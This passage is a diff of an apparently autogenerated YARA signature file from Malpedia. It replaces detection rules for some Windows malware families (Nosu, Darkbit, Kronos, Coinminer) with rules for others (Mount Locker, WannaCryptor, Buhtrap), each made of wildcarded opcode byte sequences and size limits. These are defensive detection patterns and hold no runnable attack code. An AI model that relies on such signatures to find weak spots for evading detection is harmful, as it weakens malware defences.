+		$sequence_8 = { 6800000000 6800000000 68???????? ff35???????? 6800000000 ff15???????? 90 }
+		$sequence_9 = { 8b5d08 ff33 b902000000 e8???????? 83c408 8945f0 ff750c }
 
 	condition:
-		7 of them and filesize <294912
+		7 of them and filesize <197096
 }
-rule MALPEDIA_Win_Nosu_Auto : FILE
+rule MALPEDIA_Win_Selfmake_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "d0493836-076e-53ac-80d2-093749a42975"
+		id = "ca04d6b7-e045-5526-8793-d9e1e0d359e9"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nosu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.nosu_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.selfmake"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.selfmake_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "8ab8c6afe29bf167cf16b426bd8eca0dcd4e462cdef53cd757a920fd1f6ec318"
+		logic_hash = "c57531acfc321c5fdc74a4f21330394c8edf44f2f30ab3dcaf573b2b773dc0b6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178274,32 +185228,32 @@ rule MALPEDIA_Win_Nosu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 8d4730 50 ff15???????? 03c0 8d5730 50 }
-		$sequence_1 = { 399628040000 7438 399648010000 7430 3996b8020000 7428 8b8e48060000 }
-		$sequence_2 = { 8bcf 8938 e8???????? 894500 85c0 }
-		$sequence_3 = { e8???????? 59 85c0 7444 8b7c2410 bd???????? 55 }
-		$sequence_4 = { 0f45cf 03ce 84c0 8b4508 51 ff742420 0f45d7 }
-		$sequence_5 = { 7462 803b22 0f85d4010000 8d470c 50 8d5708 8d4c2418 }
-		$sequence_6 = { 53 50 53 a5 8d942440080000 53 53 }
-		$sequence_7 = { 8b442434 59 c60004 8b442430 c640010e }
-		$sequence_8 = { 50 8d8e280a0000 e8???????? 59 8d442468 50 8d442424 }
-		$sequence_9 = { 8d96a8000000 8d4e48 e8???????? 59 59 84c0 742c }
+		$sequence_0 = { 83c104 3bf0 7ce3 68???????? }
+		$sequence_1 = { 83e107 894df4 8b55f4 52 ff15???????? a1???????? 8be5 }
+		$sequence_2 = { 8d742430 742e e8???????? 6aff }
+		$sequence_3 = { 47 84c0 75f8 66a1???????? 668907 8d44243c 8bd0 }
+		$sequence_4 = { 8945f8 837df800 7408 8b45f8 e9???????? e8???????? }
+		$sequence_5 = { 8b4b2c 6a00 6a01 51 ffd0 8b16 83c604 }
+		$sequence_6 = { 7604 2bf1 eb02 33f6 8b4310 25c0010000 83f840 }
+		$sequence_7 = { 81fa???????? 7209 83c014 3bc1 72eb }
+		$sequence_8 = { 51 e8???????? 8b742418 8bbc2418020000 }
+		$sequence_9 = { e8???????? 56 e8???????? 8b442424 8b35???????? 83c414 50 }
 
 	condition:
-		7 of them and filesize <513024
+		7 of them and filesize <932864
 }
-rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE
+rule MALPEDIA_Win_Dimnie_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "123f6d77-eca2-5400-ac56-e3f30e76b796"
+		id = "8c590346-8ec4-5fdf-b560-136be983395f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bid_ransomware_auto.yar#L1-L114"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dimnie"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dimnie_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "040b1903110ce367e4f39e634882ebba58d8e30bf0983ec0eaeaeca56a956f74"
+		logic_hash = "0f3f067f034444fcc73a96e10a6a53b5dc6ee2b790aaefb3f5f862bcac5e875a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178313,32 +185267,32 @@ rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c705????????20202020 68???????? 50 e8???????? }
-		$sequence_1 = { 6a00 e8???????? ff75fc e8???????? c9 c3 }
-		$sequence_2 = { ff75b0 e8???????? ff75b0 e8???????? 6800800000 ff75a8 }
-		$sequence_3 = { 55 8bec 83c4f4 6800800000 6a40 }
-		$sequence_4 = { 881f 83c701 83f800 77e3 eb0e }
-		$sequence_5 = { 8b4d08 80c141 c745c05c5c3f5c 884dc4 c745c53a5c2a2e }
-		$sequence_6 = { 53 6a00 6a00 6a00 ff75e4 e8???????? }
-		$sequence_7 = { 8945f0 eb15 ff75f4 e8???????? }
-		$sequence_8 = { 68ea030000 ff35???????? e8???????? 8945fc }
-		$sequence_9 = { e8???????? 8b85acfdffff 83e001 7414 8b7508 }
+		$sequence_0 = { 7605 8b450c eb54 8b550c 2b5508 83fa01 751c }
+		$sequence_1 = { 33c0 eb6e 8b4508 3b450c 7505 8b4508 }
+		$sequence_2 = { 8945f4 8b45f4 c1e804 8945f4 8b4df8 83c101 }
+		$sequence_3 = { 8b550c 2b5508 8955f8 0f31 8945f4 8b45f4 c1e804 }
+		$sequence_4 = { eb6e 8b4508 3b450c 7505 8b4508 eb61 }
+		$sequence_5 = { 2b5508 83fa01 751c 0f31 }
+		$sequence_6 = { 8b4508 eb61 8b4d08 3b4d0c 7605 8b450c }
+		$sequence_7 = { 8b4d0c 8a55af 885102 837d1002 7e13 8b4508 0fb64802 }
+		$sequence_8 = { 8b4510 8b08 83e107 8b5510 890a }
+		$sequence_9 = { c70201000000 8b4508 8b08 83e10f 8b5508 890a 8b450c }
 
 	condition:
-		7 of them and filesize <57344
+		7 of them and filesize <212992
 }
-rule MALPEDIA_Win_Darkbit_Auto : FILE
+rule MALPEDIA_Win_Mount_Locker_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "58b27aad-7d48-54be-9cff-6269fdf4ce6e"
+		id = "6832e6a1-eaa1-5e1c-99c0-2c5304573141"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkbit"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkbit_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mount_locker_auto.yar#L1-L152"
 		license_url = "N/A"
-		logic_hash = "06c0013c639973d9f2d79cd394915657a8e01f1fe7c56128c97a4b11c48d29ab"
+		logic_hash = "bff6076907046250738924c00fe6ba5da63e4a09d46fe90acd3aa54210bff35b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178352,32 +185306,38 @@ rule MALPEDIA_Win_Darkbit_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 48898424f0140000 48899c2498020000 488b0d???????? 48898c2478100000 488d05c1742500 90 }
-		$sequence_1 = { eb23 4889c7 488b8c24d0180000 e8???????? 488d7810 488b8424c8180000 6690 }
-		$sequence_2 = { e8???????? 4889842410010000 48899c2418070000 488b442460 48c7c3feffffff e8???????? 4889842470010000 }
-		$sequence_3 = { eb11 488d7818 488b8c24f0110000 e8???????? 488b8c24e8030000 48894810 833d????????00 }
-		$sequence_4 = { 833d????????00 7515 488b8c24a81e0000 488908 488905???????? 90 eb1c }
-		$sequence_5 = { e8???????? 488b542440 48895008 833d????????00 750d 488b9424c0000000 488910 }
-		$sequence_6 = { e8???????? 4889842428080000 48899c2480110000 488b8424a0080000 48c7c3ffffffff 0f1f440000 e8???????? }
-		$sequence_7 = { e8???????? 488d8424d8000000 488b9c2408010000 90 e8???????? b801000000 eb21 }
-		$sequence_8 = { e8???????? 803d????????00 7431 488d1543fa1a00 488915???????? 833d????????00 7509 }
-		$sequence_9 = { ffd2 84c0 7556 488d0509aa3000 488b5c2430 488b4c2438 e8???????? }
+		$sequence_0 = { 81f900000780 7503 0fb7c0 3d2e050000 }
+		$sequence_1 = { f30f5905???????? 0f5ad0 66490f7ed0 e8???????? }
+		$sequence_2 = { 4d8bc8 4c8bc2 4c8bf2 8bf1 }
+		$sequence_3 = { 8bc8 81e10000ffff 81f900000780 7503 }
+		$sequence_4 = { 488b0b 41b902000000 4533c0 33d2 }
+		$sequence_5 = { 488d4df0 4889442428 4533c9 4533c0 }
+		$sequence_6 = { 488bcb 488b15???????? e8???????? 85c0 }
+		$sequence_7 = { 488364242000 4533c9 488b4c2458 33d2 c744243001000000 c744243c02000000 }
+		$sequence_8 = { 4c8bf2 8bf1 33d2 33c9 }
+		$sequence_9 = { ff15???????? 85c0 7509 f0ff05???????? }
+		$sequence_10 = { b905000000 ff15???????? 3d040000c0 7494 85c0 }
+		$sequence_11 = { 7505 e8???????? 833d????????00 7409 833d????????00 }
+		$sequence_12 = { 8d442430 68???????? 50 ffd7 }
+		$sequence_13 = { a1???????? 83f804 7515 68???????? }
+		$sequence_14 = { 8bf0 85f6 7424 6800010000 }
+		$sequence_15 = { ff15???????? 85c0 7409 f0ff05???????? eb1e 56 }
 
 	condition:
-		7 of them and filesize <11612160
+		7 of them and filesize <368640
 }
-rule MALPEDIA_Win_Sidetwist_Auto : FILE
+rule MALPEDIA_Win_Rhino_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "234f5e67-21ea-563f-a765-16d670746925"
+		id = "11a60875-723d-53d2-ab23-e9023e9a450c"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sidetwist"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sidetwist_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rhino_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "5b593ac062a3ee588643c8e2045ef28da674c3f54189c5d0eebe42dcfcc6f71f"
+		logic_hash = "06d154dd08a9cc876dd4f55564b3f05b1da55b4793bd9c16429a3bb1cbe16dda"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178391,32 +185351,32 @@ rule MALPEDIA_Win_Sidetwist_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c644244600 4839d0 0f833a020000 488b4c2450 837c2458ff 0f94c0 4885c9 }
-		$sequence_1 = { e8???????? 807e2000 48898424b0000000 7412 488d8c24b0000000 ba20000000 e8???????? }
-		$sequence_2 = { 4488742457 0fb6442457 4c8db42494000000 4c8d4c2460 4889fa 4c89742440 488d8c2480000000 }
-		$sequence_3 = { 89c8 884520 807d2040 7612 807d205a 770c 0fb64520 }
-		$sequence_4 = { 896e18 4809c3 4889f8 488917 48895f08 4883c458 5b }
-		$sequence_5 = { bfffffffff 41bfffffffff e9???????? c644246c00 8844246e e9???????? 488b03 }
-		$sequence_6 = { 4c29cb 4c39c3 490f47d8 4885db 7411 480310 4883fb01 }
-		$sequence_7 = { 7218 4c8b05???????? 458b08 4585c9 755e 448b41f8 4585c0 }
-		$sequence_8 = { 89c7 440fb603 29df c1e702 4885c0 b800000000 0f44f8 }
-		$sequence_9 = { 6690 4885d2 7521 448b1e 4585db 0f8524020000 8b05???????? }
+		$sequence_0 = { 8b4160 c3 6a40 58 c3 b8???????? e8???????? }
+		$sequence_1 = { c745f00f000000 885ddc 53 be04010000 895dfc 56 8d4ddc }
+		$sequence_2 = { c1c105 8b400c 89442440 8bc5 034c2440 33c3 23c6 }
+		$sequence_3 = { 2b16 b8ffffff03 c1fa06 2bc2 3bc1 7217 8d040a }
+		$sequence_4 = { e8???????? 8bf9 897df0 8b7508 8d4f0c c74704???????? 56 }
+		$sequence_5 = { e8???????? 895d60 897d64 8b06 8d4de0 51 8bce }
+		$sequence_6 = { 890496 85c9 75e6 42 3b54240c 72ec 33c0 }
+		$sequence_7 = { 74af 8b4634 8d4d08 51 50 50 894508 }
+		$sequence_8 = { 5e 64890d00000000 c9 c3 8b514c 395148 57 }
+		$sequence_9 = { 8b4f14 8b4114 3b410c 7507 8bcf e8???????? 33c0 }
 
 	condition:
-		7 of them and filesize <2002944
+		7 of them and filesize <1288192
 }
-rule MALPEDIA_Win_Banatrix_Auto : FILE
+rule MALPEDIA_Win_Brbbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "dddc42c8-ebb5-5b25-8e19-698be8f181ff"
+		id = "e240fcbc-2659-5f11-92b2-f24493c78ffd"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banatrix"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banatrix_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.brbbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.brbbot_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "ad75928262b7ab312e9d49af768e2651c88b8c026115565bb62125e134a2e0bd"
+		logic_hash = "d23aa206f76a72b99ca843cfc9c1f11b947cf7f249b06e1b49eb77df3aca0670"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178430,32 +185390,32 @@ rule MALPEDIA_Win_Banatrix_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83ec10 894208 89f7 31c0 f3aa }
-		$sequence_1 = { e8???????? 8b4304 85c0 741b c744240800800000 c744240400000000 }
-		$sequence_2 = { c744240806000000 893c24 c1e804 40 0fb7c0 }
-		$sequence_3 = { 8b5320 0345d0 89542404 890424 }
-		$sequence_4 = { e9???????? e8???????? c744240824000000 c744240400000000 }
-		$sequence_5 = { 51 c9 c3 55 89e5 57 }
-		$sequence_6 = { 83ec10 85c0 8945d4 7542 8b45d0 c744240c04000000 c744240800300000 }
-		$sequence_7 = { 8b75d0 8b7dd4 2b7e34 897dcc 7514 8b7304 }
-		$sequence_8 = { 83787c00 7511 c704247f000000 e8???????? 31c0 51 eb66 }
-		$sequence_9 = { 85c0 56 56 7416 8b03 c745d000000000 }
+		$sequence_0 = { 7509 488d0daad10000 eb02 33c9 e8???????? 4883c438 }
+		$sequence_1 = { f2ae 48f7d1 48ffc9 4c8bc1 498d8e10040000 488bd5 e8???????? }
+		$sequence_2 = { 48f7d1 4c8d41ff 488d8b04010000 e8???????? }
+		$sequence_3 = { 885c2470 448bee 448bfe e8???????? 488b05???????? 4889442458 }
+		$sequence_4 = { 48895808 488970e8 33ff 488978b8 4c8960e0 }
+		$sequence_5 = { 48f7d1 48ffc9 4881f904010000 0f8724010000 4883c9ff }
+		$sequence_6 = { 81fa01010000 7d13 4863ca 8a44191c 42888401c0230100 }
+		$sequence_7 = { 488bfa ff15???????? 4c8d4704 488bc8 ba08000000 ff15???????? }
+		$sequence_8 = { 4c8b7540 8bd8 85c0 0f88d6020000 4c8d4da8 }
+		$sequence_9 = { 33d2 488bce e8???????? ff15???????? 4c8bc6 488bc8 33d2 }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <198656
 }
-rule MALPEDIA_Win_Shapeshift_Auto : FILE
+rule MALPEDIA_Win_Banpolmex_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "08e6a360-def4-58d5-989a-762ada20c1ff"
+		id = "f5c73e0b-c575-562f-9127-4bdfc5c88735"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shapeshift"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.shapeshift_auto.yar#L1-L105"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.banpolmex"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.banpolmex_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "c522b147cc687acbd3ced32f880a4cbfad89b8f069e6c6ec7d0ae0159c8619d1"
+		logic_hash = "5c80d00898c7981631095abf56b16c379bf161bce0c3d518d50cadc7dd22c1a6"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178469,32 +185429,34 @@ rule MALPEDIA_Win_Shapeshift_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 33d2 b93b110f00 f7f1 68???????? 8915???????? e8???????? }
-		$sequence_1 = { 6a00 6a07 68000000c0 51 ff15???????? }
-		$sequence_2 = { 8b45fc 817848d0f74100 7409 ff7048 e8???????? }
-		$sequence_3 = { 394508 7c1f 3934bd38054200 7531 e8???????? 8904bd38054200 }
-		$sequence_4 = { 6a00 57 e8???????? 8b5dfc 83c410 8b35???????? 53 }
-		$sequence_5 = { 8365fc00 8b049d38054200 8b4de0 f644082801 7515 e8???????? c70009000000 }
-		$sequence_6 = { c3 3b0d???????? f27502 f2c3 f2e987080000 }
-		$sequence_7 = { 6a0c 7550 e8???????? 83c404 8bf8 }
+		$sequence_0 = { 7419 4c8b0f 8bd0 41b801000000 498bcc e8???????? 4883f801 }
+		$sequence_1 = { ff15???????? 488d1530980800 488bcb 488905???????? ff15???????? 488d1529980800 488bcb }
+		$sequence_2 = { c3 488d15ea560200 488bcf e8???????? b80a000000 488b5c2460 4883c420 }
+		$sequence_3 = { 0f97c0 890d???????? 4883c428 c3 8b0d???????? 44891d???????? 3bc1 }
+		$sequence_4 = { 448d4201 4d8bb4c5a8010000 488bcb e8???????? 85c0 7919 488d156ca70100 }
+		$sequence_5 = { 4d016810 4d016018 49017020 49017828 49015830 4d015838 4d015040 }
+		$sequence_6 = { 660f1f440000 483bd5 7733 488bca 4869c988000000 4903c9 428b44210c }
+		$sequence_7 = { 4883ec28 488b0d???????? 4885c9 7409 83caff ff15???????? 33c0 }
+		$sequence_8 = { 4c8b5c2420 488b442428 4c011b 480107 0fb7442438 66ffc0 6689442438 }
+		$sequence_9 = { 4c897c2458 3c02 0f85a4000000 41b803000000 4533ff 898c24a8000000 44898424b0000000 }
 
 	condition:
-		7 of them and filesize <303104
+		7 of them and filesize <1555456
 }
-rule MALPEDIA_Win_Spedear_Auto : FILE
+rule MALPEDIA_Win_Backswap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "064ca511-db37-50e7-a5f5-98bdd145296d"
+		id = "8b9036c3-1342-5fdd-b202-655dad83c8d1"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spedear_auto.yar#L1-L246"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backswap_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "3ab20c94a066f6f4783dff8cb4bf09780239780b3bd9f55c80bdf4166aa7a997"
+		logic_hash = "a378488e042d6e06f37e68439e6beddf9b3f11fc0a2449d478058f24368f291d"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -178506,48 +185468,32 @@ rule MALPEDIA_Win_Spedear_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e207 03c2 c1f803 83c40c }
-		$sequence_1 = { 8b4718 8a5f06 50 894608 e8???????? }
-		$sequence_2 = { 53 50 e8???????? 8b7e0c 895e10 }
-		$sequence_3 = { 894618 ffd7 89461c 5f }
-		$sequence_4 = { 33f6 8b4704 8b4f08 53 50 8bde e8???????? }
-		$sequence_5 = { 8b44240c 8b08 8b442410 53 55 }
-		$sequence_6 = { c1e208 40 0bca 3bc3 7c02 }
-		$sequence_7 = { 5b c20400 8b4c240c 57 53 51 }
-		$sequence_8 = { 6a00 68???????? e8???????? 83c40c 68d0070000 }
-		$sequence_9 = { 833e00 741e 8b5608 8b4604 6a00 }
-		$sequence_10 = { 833e00 741a 6a00 6a00 ff7608 }
-		$sequence_11 = { 6a00 ff7608 ff5604 6800800000 }
-		$sequence_12 = { 394878 7456 39487c 7451 }
-		$sequence_13 = { 8bc7 5e 5f 5b 5d c3 6a08 }
-		$sequence_14 = { ff5604 6800800000 6a00 ff7608 }
-		$sequence_15 = { 74ce 56 53 ff7510 ff75d8 6a00 6a00 }
-		$sequence_16 = { 4154 4883ec20 4c8b5120 4d8be0 488bea 410fb74206 488bf1 }
-		$sequence_17 = { 418d5001 488bcf 4803c7 48894308 }
-		$sequence_18 = { 50 8d4de0 e8???????? 83781410 59 5b 7202 }
-		$sequence_19 = { 750b 488bcf ff15???????? eb07 488bd5 }
-		$sequence_20 = { 488bc3 488d152bd50000 48c1f805 83e11f 488b04c2 486bc958 }
-		$sequence_21 = { 723a 488d05349b0000 483bd8 772e }
-		$sequence_22 = { 488364242000 40886c245c 488d0d10d10000 4c8d4c244c }
-		$sequence_23 = { 8a80b4182400 08443b1d 0fb64601 47 3bf8 76ea }
-		$sequence_24 = { 4883ec20 488d05fe690000 488bfa 488bd9 488901 }
-		$sequence_25 = { 488d15032e0000 488bce 488905???????? ff15???????? }
+		$sequence_0 = { 5f 5a 5b c9 c21000 83f0ff 5e }
+		$sequence_1 = { 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 e9???????? }
+		$sequence_2 = { 33d2 8bdf 4b eb1c 85c9 }
+		$sequence_3 = { eb1c 85c9 7508 3bdf 7404 }
+		$sequence_4 = { ebd4 3c3f 74c4 3c2a 7508 8bdf 897508 }
+		$sequence_5 = { f366a5 59 5f 5e c9 c20c00 55 }
+		$sequence_6 = { 74ed 33c0 eb04 8bc6 }
+		$sequence_7 = { 4b eb1c 85c9 7508 3bdf 7404 8bce }
+		$sequence_8 = { 83f0ff 5e 5f 5a 5b }
+		$sequence_9 = { 7482 8b7508 ff4508 8bfb 3bd3 0f8572ffffff 33c9 }
 
 	condition:
-		7 of them and filesize <188416
+		7 of them and filesize <122880
 }
-rule MALPEDIA_Win_Kronos_Auto : FILE
+rule MALPEDIA_Win_Wannacryptor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8d31fd16-d4f2-5a2a-96ec-ac39493ba957"
+		id = "e56d2000-fe42-59bd-8926-478b3a54b7b3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kronos"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kronos_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wannacryptor_auto.yar#L1-L121"
 		license_url = "N/A"
-		logic_hash = "9add781f31640b82e44b92fb87f47ac9fbcee8b3e1525e4790235c25c58c2848"
+		logic_hash = "c696b2074a3cd60e9575143d9577c550babed6e9c2f46c424c5b90d1a1647723"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178561,32 +185507,32 @@ rule MALPEDIA_Win_Kronos_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d542450 52 03c6 50 57 ffd3 85c0 }
-		$sequence_1 = { 813e50450000 7549 57 56 ff75fc e8???????? 8b450c }
-		$sequence_2 = { e8???????? 33db 6a40 8d4628 53 50 }
-		$sequence_3 = { e8???????? 85db 0f854fffffff eb1c 8d4dd0 be02000000 e8???????? }
-		$sequence_4 = { 897804 8930 ff461c 6a00 }
-		$sequence_5 = { 803d????????01 56 750f 33f6 8d4df0 e8???????? 8bc6 }
-		$sequence_6 = { eb1d 8b0f e8???????? 8b0f 8b30 6a04 e8???????? }
-		$sequence_7 = { 0355dc 8b45e8 2b45ec 03ca 3b450c 7356 29450c }
-		$sequence_8 = { c3 55 8bec 83ec5c 56 8d45a4 50 }
-		$sequence_9 = { 3b7104 7505 8b06 894104 3b7108 7506 8b5604 }
+		$sequence_0 = { 56 8bf1 57 8b7c241c 8b4670 }
+		$sequence_1 = { 8854243c 8b44243c 50 51 8bce }
+		$sequence_2 = { b801000000 33ff 85c0 7e76 8bd8 8b5500 03cf }
+		$sequence_3 = { 8bce e8???????? 8a4649 84c0 7419 8b4620 }
+		$sequence_4 = { ff15???????? 50 e8???????? 85c0 742e 8b4004 8d542404 }
+		$sequence_5 = { 8b4674 c6464801 85c0 7509 6a00 }
+		$sequence_6 = { 50 ff15???????? 50 e8???????? 8b4820 6a00 6a00 }
+		$sequence_7 = { 8b4678 8d7e44 85c0 755f 8b17 }
+		$sequence_8 = { e8???????? 8d4648 8d4c2410 50 c744243000000000 }
+		$sequence_9 = { 57 8b7c241c 8b4670 85c0 7503 }
 
 	condition:
-		7 of them and filesize <1302528
+		7 of them and filesize <540672
 }
-rule MALPEDIA_Win_Coinminer_Auto : FILE
+rule MALPEDIA_Win_Buhtrap_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "05a9b3c6-9a1c-50a2-a943-afdee621f718"
+		id = "25eb4b11-3715-52d0-a7c7-9dac6aa80ccc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coinminer"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.coinminer_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buhtrap_auto.yar#L1-L162"
 		license_url = "N/A"
-		logic_hash = "254b4cb9ab983948d36cfb896be0834484f66bd70a718e15bb65a41d1319a142"
+		logic_hash = "d4e0c8ac83aa0b6c13a2f72737ffccb143e82cce7ba2ea9d1a844cc8381c4b50"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178600,34 +185546,78 @@ rule MALPEDIA_Win_Coinminer_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85d2 750d 8b45f8 8b55fc 5f 5e }
-		$sequence_1 = { 8d7f04 73ef 83c104 8a10 7410 48 ffc0 }
-		$sequence_2 = { e9???????? 6a00 ff742414 ffd6 ff742414 8b3d???????? ffd7 }
-		$sequence_3 = { c3 8bc6 c745f200000000 99 0f57c0 66c745f60000 660fd645ea }
-		$sequence_4 = { 8bf0 e8???????? 8bf8 8d842450130000 }
-		$sequence_5 = { 53 56 8b35???????? 8bd9 57 8b3d???????? }
-		$sequence_6 = { 57 ff15???????? c70300000000 8b4510 5f c70600000000 5e }
-		$sequence_7 = { 9b 53 83473220 2c6a }
-		$sequence_8 = { 8d842434010000 50 ff15???????? 56 e8???????? 57 }
-		$sequence_9 = { 83c408 890d???????? 8bf2 8935???????? 85c9 7504 85f6 }
+		$sequence_0 = { 59 59 84c0 0f8435010000 }
+		$sequence_1 = { 7423 8b44240c 33d2 6a64 59 f7f1 }
+		$sequence_2 = { c3 b301 ebe1 55 8bec 83ec18 }
+		$sequence_3 = { 6a00 50 8d442414 c744242c04000000 }
+		$sequence_4 = { 6a06 8bce e8???????? 8a1d???????? 56 }
+		$sequence_5 = { 0f8489000000 837d1400 747b 6a09 59 33c0 8d7c242c }
+		$sequence_6 = { 7405 e8???????? 85f6 7907 32c0 e9???????? 8365f000 }
+		$sequence_7 = { ffd6 57 ffd6 33c0 85db 0f94c0 5f }
+		$sequence_8 = { 754e 6a01 53 50 }
+		$sequence_9 = { 53 68???????? 890e 894604 e8???????? 50 }
+		$sequence_10 = { 897dfc e8???????? 59 84c0 0f8497000000 3bdf }
+		$sequence_11 = { 6aff ff742420 ff7624 ffd7 ff742418 e8???????? }
+		$sequence_12 = { ffd7 6a00 689385e784 6a28 68???????? }
+		$sequence_13 = { 894624 8b442414 894604 a808 7466 }
+		$sequence_14 = { 753d 8b4e2c 83c104 e8???????? e8???????? }
+
